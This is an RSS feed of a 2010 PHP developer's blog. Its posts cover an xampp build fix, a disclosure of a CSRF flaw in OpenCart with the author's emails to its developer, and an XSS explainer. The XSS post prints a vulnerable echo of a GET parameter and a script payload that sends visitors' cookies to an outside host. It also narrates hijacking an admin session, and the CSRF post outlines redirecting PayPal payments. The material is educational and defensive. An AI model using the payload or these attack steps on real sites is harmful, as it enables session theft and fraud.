<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ben Maynard&#039;s blog about anything &#187; PHP</title>
	<atom:link href="http://blog.visionsource.org/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.visionsource.org</link>
	<description>I swear this blog is different from the others!</description>
	<lastBuildDate>Fri, 27 Aug 2010 20:37:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Installing PHP extensions on Mac OS X under xampp</title>
		<link>http://blog.visionsource.org/2010/05/31/installing-php-extensions-on-mac-os-x-under-xampp/</link>
		<comments>http://blog.visionsource.org/2010/05/31/installing-php-extensions-on-mac-os-x-under-xampp/#comments</comments>
		<pubDate>Sun, 30 May 2010 18:11:55 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[extensions]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[snow leopard]]></category>
		<category><![CDATA[xampp]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=97</guid>
		<description><![CDATA[The other day I installed xampp on a mac os x running snow leopard but I was having an issue installing any extra extensions like xdebug and apc. I found out it was because it was compiling the extensions in 64bit but xampp is compiled in 32bit and I did the following to fix the [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I installed xampp on a mac os x running snow leopard but I was having an issue installing any extra extensions like xdebug and apc. I found out it was because it was compiling the extensions in 64bit but xampp is compiled in 32bit and I did the following to fix the issue:</p>
<ol>
<li>Download and extract the source</li>
<li>Run phpize</li>
<li>Adding the following parameters to configure:
<pre>./configure MACOSX_DEPLOYMENT_TARGET=10.6 CFLAGS="-arch i386 -g -Os -pipe -no-cpp-precomp" CCFLAGS="-arch i386 -g -Os -pipe" CXXFLAGS="-arch i386 -g -Os -pipe" LDFLAGS="-arch i386 -bind_at_load"</pre>
</li>
<li>make (and make install if required)</li>
<li>done <img src='http://blog.visionsource.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
<p>If that doesnt work, try adding:
<pre>--with-php-config=/Applications/XAMPP/xamppfiles/bin/php-config-5.3.1</pre>
<p> to the configure command.</p>
<p>I hope that will help some people out there, because it was driving me insane!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/05/31/installing-php-extensions-on-mac-os-x-under-xampp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OpenCart CSRF Vulnerability</title>
		<link>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/</link>
		<comments>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 02:41:03 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[OpenCart]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=67</guid>
		<description><![CDATA[I have have started at a new job in Toronto this year, and my first project is an e-commerce website and was tasked to use OpenCart which is the best open source e-commerce software we could find. However an issue I noticed straight away was the application is vulnerable to CSRF attacks via the POST [...]]]></description>
			<content:encoded><![CDATA[<p>I have have started at a new job in Toronto this year, and my first project is an e-commerce website and was tasked to use OpenCart which is the best open source e-commerce software we could find. However an issue I noticed straight away was the application is vulnerable to CSRF attacks via the POST method. Since I take no risks with security I have implemented a fix which generates a token when an admin logs in and appends it to the URL through the Url class.</p>
<p>I have drafted an example of the exploit, sent it to the creator of OpenCart and gave an example of how a user could be targeted with the attacker changing the PayPal email address to their own account. I did this as I didn&#8217;t want to publish the exploit until a fix was implemented and a new version was released, but as the following email transcript will show, this is not going to happen anytime soon.</p>
<blockquote><p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben&#8221;<br />
Sent: Friday, January 22, 2010 8:06 PM<br />
To: < *******@opencart.com><br />
Subject: OpenCart &#8211; Enquiry</p>
<p>Hi,</p>
<p>I recently installed OpenCart and I noticed that it is vulnerable to CSRF attacks. I have created a sample page that is capable of inserting a rouge user (the page currently prompts you but could be done silently if the attacker knows the url of the site).</p>
<p>http://visionsource.org/*********.html</p>
<p>Please let know that you are looking into the security issue and are going to release an update with a fix otherwise I will make the issue public.</p>
<p>If you need any help fixing the problem please let me know.</p>
<p>Thanks,<br />
Ben.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 4:50 PM, Daniel Kerr wrote:</p>
<p>Ben you seem to be very clever to come up with this. But! you need to be logged in for this to happen.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben Maynard&#8221;<br />
Sent: Friday, January 22, 2010 11:34 PM<br />
To: &#8220;Daniel Kerr&#8221;<br />
Subject: Re: OpenCart &#8211; Enquiry</p>
<p>HI Daniel,</p>
<p>That is the whole point of a CSRF attack. Please read http://en.wikipedia.org/wiki/Csrf for an explanation on the attack.</p>
<p>This can be very dangerous, for example:</p>
<p>I am an attacker looking at stealing money, I find a websites that are running opencart and have paypal as a payment method. I send the owner an email asking a question about a product and send a link that will perform the attack on the website. The chances of the owner being logged into their opencart admin is high since they are dealing with orders, and a rouge account is created without the user knowing (The attacker could just format the malicious page to look like a 404 not found page so it doesnt raise suspicion with the owner).</p>
<p>The attacker makes the script send an email when the page is hit, so he knows when to logged into the admin section. The attacker then logs in, changes the paypal email address to his own account, deletes the new account to help cover his tracks. He starts to get the money from the website and the owner of the website may not realize what has happened for a couple of days (maybe even longer)!</p>
<p>If someone was to do this, it would cause a major problem for the owner (and buyers who money was stolen).</p>
<p>I have implemented a fix on the website i am working on and dont mind sharing the fix. I create a random token when the user logs in, and in the Url class I add it to the url. There is also a check on the user auth.</p>
<p>Thanks,<br />
Ben.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 7:31 PM, Daniel Kerr wrote:</p>
<p>This sort of thing is down to the client. The software on a clients computer is nothing to do with opencart! There is no way that I&#8217;m responsible for a client being stupid enough to click links in emails.</p>
<p>Even professional banking sites have trouble with the problem you describe.</p>
<p>The only thing a client can take steps to do is only allowing certain IP&#8217;s to access the admin via their hosting.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
From: &#8220;Ben Maynard&#8221;<br />
Sent: Saturday, January 23, 2010 12:52 AM<br />
To: &#8220;Daniel Kerr&#8221;<br />
Subject: Re: OpenCart &#8211; Enquiry</p>
<p>A link in an email is not the only way for this attack to be performed, it was just an example. Its not hard to add protection and would make open cart more secure, security is not something you can take lightly.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 8:05 PM, Daniel Kerr wrote:<br />
what protection do you recommend?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
On 2010-01-22, at 8:05 PM, Daniel Kerr wrote:<br />
to be honest this again is down to the client. not opencart.</p>
<p>the security problem is very low. seriously how is some one going to trick some one into clicking a link to a site that will them display there own web site admin?</p>
<p>your just wasting my time.</p></blockquote>
<p>Now as you can see, the creator doesn&#8217;t care about security which is a very dangerous thing especially when you are creating e-commerce websites. It is also not hard to find websites running OpenCart, you can just google &#8220;Powered By OpenCart&#8221; and you get thousands of results, imagine how much money could be stolen by targeting half of these websites and who says its not being done right now? This is why it makes me really angry when web developers don&#8217;t take security seriously. Now I love PHP and hate it when people say bad things about the language but its true when they say PHP is like a handgun.</p>
<blockquote><p>PHP is like a handgun. On its own, it is simply an  inanimate tool that has no moral leaning. In the hands of a responsible  citizen, it can be used to the benefit of society. But in the hands of  someone who is untrained or mentally unstable, it can be used to commit  horrible atrocities.</p>
<p>Whenever there&#8217;s such a tragedy, other developers are quick to blame  PHP. If PHP were illegal, then Yahoo! would never have happened. If we  regulated PHP tightly, then there would be no Digg.</p></blockquote>
<p><em><a href="http://www.theregister.co.uk/2009/05/25/dziuba_microsoft_php/" target="_blank">via The Register</a>.</em></p>
<p>Now does anyone have any suggestions on what could be done to get the developer to acknowledge the problem and not just put his head in the sand?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>PHP libraries and components</title>
		<link>http://blog.visionsource.org/2008/06/02/php-libraries-and-components/</link>
		<comments>http://blog.visionsource.org/2008/06/02/php-libraries-and-components/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 05:16:33 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[components]]></category>
		<category><![CDATA[libraries]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=10</guid>
		<description><![CDATA[Well I haven&#8217;t blogged for a bit, so im hoping to do some catch up today. Since working in the business world, I find you never have time to write libraries for everything you want your application to do, and why would you when there are excellent classes out there that do just what you [...]]]></description>
			<content:encoded><![CDATA[<p>Well I haven&#8217;t blogged for a bit, so im hoping to do some catch up today. Since working in the business world, I find you never have time to write libraries for everything you want your application to do, and why would you when there are excellent classes out there that do just what you need to, have community + developer support so you do not need to worry about any bugs within your system. Then with all this, it frees up your time so you can spend time working on the things that matter.</p>
<p>So with this in mind, i read an article about 30 useful classes and components, and I recommend checking out half these items. Personally my favorite is <a href="http://htmlpurifier.org/" target="_blank">HTML Purifier</a> as its a must have to prevent XSS injection attacks + cleaning up user submitted code.</p>
<p><a href="http://phpimpact.wordpress.com/2008/05/29/30-useful-php-classes-and-components/" target="_blank">Click here to view 30 useful php classes and components</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2008/06/02/php-libraries-and-components/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Frameworks</title>
		<link>http://blog.visionsource.org/2008/05/20/php-frameworks/</link>
		<comments>http://blog.visionsource.org/2008/05/20/php-frameworks/#comments</comments>
		<pubDate>Tue, 20 May 2008 12:45:18 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[cakephp]]></category>
		<category><![CDATA[frameworks]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/?p=9</guid>
		<description><![CDATA[Over the last week Ive been testing out some php frameworks and seeing what they are like (mainly the install process and checking out the structure of the application). The first one i tried was symfony. First off, having a php web application that has to be created via command line sucks! (I think you [...]]]></description>
			<content:encoded><![CDATA[<p>Over the last week Ive been testing out some php frameworks and seeing what they are like (mainly the install process and checking out the structure of the application).</p>
<p>The first one i tried was symfony. First off, having a php web application that has to be created via command line sucks! (I think you can install it without having ssh access but it is a bit of a mission). After following the instructions step by step, the program just kept throwing errors when creating a project. I may have missed something or my server wasn&#8217;t set up quite right but overall i just wasn&#8217;t impressed with the installer, IT IS JUST TOO HARD! In the end I had to install it straight from the svn which worked fine, but the styles didn&#8217;t come through so looking at the pages was very plain.</p>
<p>When I say the installation is just too hard, I am talking in the fact that I should just be able to copy over some files and expect it to work for a php application, and if it needs some type of installation, then have a web install page. I believe that if you have no linux adminstration skills then you are pretty much screwed if you wish to use the symfony framework.</p>
<p>The second framework i tried was cakephp, now cakephp is how you install a php framework. All i had to do was copy the files over and it was up and running.  There is not much more i can say on cakephp because the setup was very easy and took me 2 mins not 2 hours.</p>
<p>As for the coding aspects of the frameworks, I didn&#8217;t really get my hands too dirty and they both to seem to work in the same manner with following the MVC architecture. I&#8217;m sure both frameworks have there advantages but based on the install process i would be swinging to cakephp.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2008/05/20/php-frameworks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS Attacks</title>
		<link>http://blog.visionsource.org/2008/03/06/xss-attacks/</link>
		<comments>http://blog.visionsource.org/2008/03/06/xss-attacks/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 11:11:50 +0000</pubDate>
		<dc:creator>Ben Maynard</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[session hi-jacking]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[XSS attacks]]></category>

		<guid isPermaLink="false">http://blog.visionsource.org/2008/03/06/xss-attacks/</guid>
		<description><![CDATA[First off, welcome you all to my blog and I hope to keep it updated. The main things I will be talking about is PHP and mainly the security sides of it. To give you a quick background, I have been working full time as a PHP developer in the web industry for just over [...]]]></description>
			<content:encoded><![CDATA[<p>First off, welcome you all to my blog and I hope to keep it updated. The main things I will be talking about is PHP and mainly the security sides of it. To give you a quick background, I have been working full time as a PHP developer in the web industry for just over 2 years, and a year prior I was at tafe doing a cert 4 in website design and a diploma in website development.</p>
<p>My first post will be about <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank">Cross-site Scripting (XSS)</a> attacks, which I have had to deal with this week. XSS IS A HUGE AND DANGEROUS issue posed in any web application, which allows the attacker to inject code into your application. The most popular type of XSS attack is injecting HTML or javascript into the browser output. This is caused when the developer does not correctly sanitize their input, and prints it out to the browser. There are also more powerful XSS attacks which injects code into the actual application eg: when including a php file, you grab the file name straight from the browser, but I will not go into this because frankly if your application contains a security issue like this……..well you have chosen the wrong industry (ok, you’re learning, well I suppose your excused).</p>
<p>A common XSS exploit is to grab the contents of the cookies via javascript, and to email/log the results. Bellow is the vulnerable PHP code:</p>
<pre lang="”php”">
echo “Message: “ . $_GET[‘msg’];</pre>
<p>As you can see, I print the input from the user straight to the browser. As an attacker, I could run this url: badfile.php?msg= &lt;script&gt;document.write(&#8216;&lt;img src=&#8221;http://visionsource.org/xssattack.php?cookie=&#8217; + document.cookie + &#8216;&#8221;&gt;&#8217;);&lt;/script&gt;. Now that will email me the contents of the cookies of whoever visits that url. So what you’re saying? Who is ever going to go to that url? The answer is possibly you. Early this week I demonstrated this very hack which in returned allowed me access to the admin control panel of the website. How I did this was on the victim machine, I logged into the admin panel (for the specific attack, I wanted admin access) and then after I was finished in the admin area, I proceeded to the forum which an admin should be visiting since it is their site and all. I then set up a post in the forum, made a link to the made url, gave the link a creative name like “error with website, what’s wrong with it admin?” (creativity, I don’t have it).</p>
<p>The admin then clicked on the link, which emailed me their cookies and contained the user’s PHP Session id. I then went to my machine and changed my PHP Session id to be the value of the victims session, went to the admin panel and wollah I’m in. This is due to the victim was still logged into the admin area and I then stole their session. From here I could create some serious damage, change all the content to whatever I want, make all the pages redirect to a website of myn, anything!</p>
<p>This is a very basic XSS attack, but yet can still create some serious damage to the website in question. Some other forms to make the user visit the special crafted url is to put the link in an image, which automatically gets loaded some as the victim loads the page and it’s possible for the admin to not even notice the attack, giving you more time to hack the website (and more tries). Attacks like this don’t just limit to admins, but even members of the website so I can log into the profile and view pm’s, history of actions on the website etc.</p>
<p>To avoid these attacks, you can run the <a href="http://au2.php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags()</a> or <a href="http://au2.php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars()</a> or <a href="http://au2.php.net/manual/en/function.htmlentities.php" target="_blank">htmlentities()</a> function, but I suggest using a well known third party library to prevent XSS attacks. I recommend <a href="http://htmlpurifier.org/" target="_blank">HTML Purifier</a> which seems to be one of the best filters out in the market plus its open source.</p>
<p>The one thing you have to remember as a developer is never think it won’t happen to you, because it will, your business will look bad and you could even get fired!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.visionsource.org/2008/03/06/xss-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
